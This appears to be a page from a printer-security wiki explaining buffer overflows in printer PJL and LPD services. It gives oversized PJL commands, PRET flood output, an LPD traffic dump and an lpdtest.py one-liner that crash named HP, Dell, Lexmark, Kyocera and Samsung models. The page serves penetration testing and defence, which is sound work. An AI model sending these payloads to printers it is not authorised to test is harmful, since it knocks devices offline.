Difference between revisions of "Buffer overflows"

From Hacking Printers
Jump to: navigation, search
 
Line 66: Line 66:
  
 
<syntaxhighlight lang=sh>
 
<syntaxhighlight lang=sh>
./lpdtest.py printer in "`python -c 'print "x"*150'`"
+
./lpdtest.py printer in "`python -c 'print "x"*150'`"
 
</syntaxhighlight>
 
</syntaxhighlight>
  

Latest revision as of 20:02, 28 January 2017

While the risk of buffer overflows is well-known [1] and not limited to printers, it must be noted that printers provide additional languages and network services, potentially prone to this kind of attack. Exploitation may lead to denial of service or – given correct shellcode and return address – even to remote code execution. Buffer overflows are particularly dangerous on embedded devices, as they may have no protection mechanisms like ASLR, NX/DEP or user separation, so all executed code is run as superuser.

PJL input

PJL processors may be vulnerable to buffer overflows if the given input exceeds the buffer size. For example, various Lexmark laser printers crash when when receiving about 1.000 characters as the INQUIRE argument (see CVE-2010-0619):

@PJL INQUIRE 00000000000000000000000000000000000000000000000000000…

Sending about 3.000 characters as the SET argument to the Dell 1720n crashes the device and requires a manual restart to get the printer back to life:

@PJL SET 000000000000000000000000000000000000000000000000000000000…

How to test for this attack?

Buffer overflows in PJL input can be tested using PRET's flood command which sends large amounts of data to all arguments specified in the PJL reference [2] and all PJL variables dynamically retrieved from the system:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> flood
Buffer size: 10000, Sending: @PJL SET [buffer]
Buffer size: 10000, Sending: @PJL [buffer]
Buffer size: 10000, Sending: @PJL COMMENT [buffer]
Buffer size: 10000, Sending: @PJL ENTER LANGUAGE=[buffer]
Buffer size: 10000, Sending: @PJL JOB NAME="[buffer]"
Buffer size: 10000, Sending: @PJL EOJ NAME="[buffer]"
Buffer size: 10000, Sending: @PJL INFO [buffer]
Buffer size: 10000, Sending: @PJL ECHO [buffer]
Buffer size: 10000, Sending: @PJL INQUIRE [buffer]
Buffer size: 10000, Sending: @PJL DINQUIRE [buffer]
Buffer size: 10000, Sending: @PJL USTATUS [buffer]
Buffer size: 10000, Sending: @PJL RDYMSG DISPLAY="[buffer]"
Buffer size: 10000, Sending: @PJL FSQUERY NAME="[buffer]"
Buffer size: 10000, Sending: @PJL FSDIRLIST NAME="[buffer]"
Buffer size: 10000, Sending: @PJL FSINIT VOLUME="[buffer]"
Buffer size: 10000, Sending: @PJL FSMKDIR NAME="[buffer]"
Buffer size: 10000, Sending: @PJL FSUPLOAD NAME="[buffer]"

Who can perform this attack?

Anyone who can print, for example through USB drive or cable, Port 9100 printing or Cross-site printing.

LPD daemon

The LPD protocol seems particularly interesting when testing for buffer overflows, because it allows multiple user-defined vectors like jobname, username or hostname, which may not be sufficiently protected. Sending more characters than allowed by the LPD specification [3] may result in an overflow. For example, receiving 150 characters and more as username operator of the control file's L command (print banner page) completely crashes the HP LaserJet 1200, the HP LaserJet 4200N, the HP LaserJet 4250N, the Dell 3110cn, the Kyocera FS-C5200DN as well as the Samsung MultiPress 6345N and requires a manual restart to get the printers back to life. A network traffic dump for this attack is given below:

> 02 6c 70 0a                                    .lp.
< 00                                             .
> 02 31 35 32 20 63 66 41 30 30 31 0a            .152 cfA001.
< 00                                             .
> 4c 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 Lxxxxxxxxxxxxxxx
> 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
> 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
> 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
> 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
> 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
> 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
> 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
> 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
> 78 78 78 78 78 78 78 0a 00                      xxxxxxx..

How to test for this attack?

A simple LPD fuzzer to test for buffer overflows can be created using the lpdtest tool included in PRET. The in argument sets all user inputs defined by the LPD protocol to a certain value (in this case, Python output):

./lpdtest.py printer in "`python -c 'print "x"*150'`"

Who can perform this attack?

Anyone who can access the LPD daemon through a network. Note that a web attacker can only exploit this flaw if cross-protocol scripting to port 515/tcp is allowed by the web browser (for example, Internet Explorer 10). Most browsers however block access to the LPD port by default (see Cross-site printing).



  1. Smashing The Stack For Fun And Profit, Aleph One, Phrack magazine #49, 1996, p. 14-16
  2. Printer Job Language Technical Reference Manual, HP Inc., 1997
  3. RFC1179: Line Printer Daemon Protocol, L. McLaughlin, 1990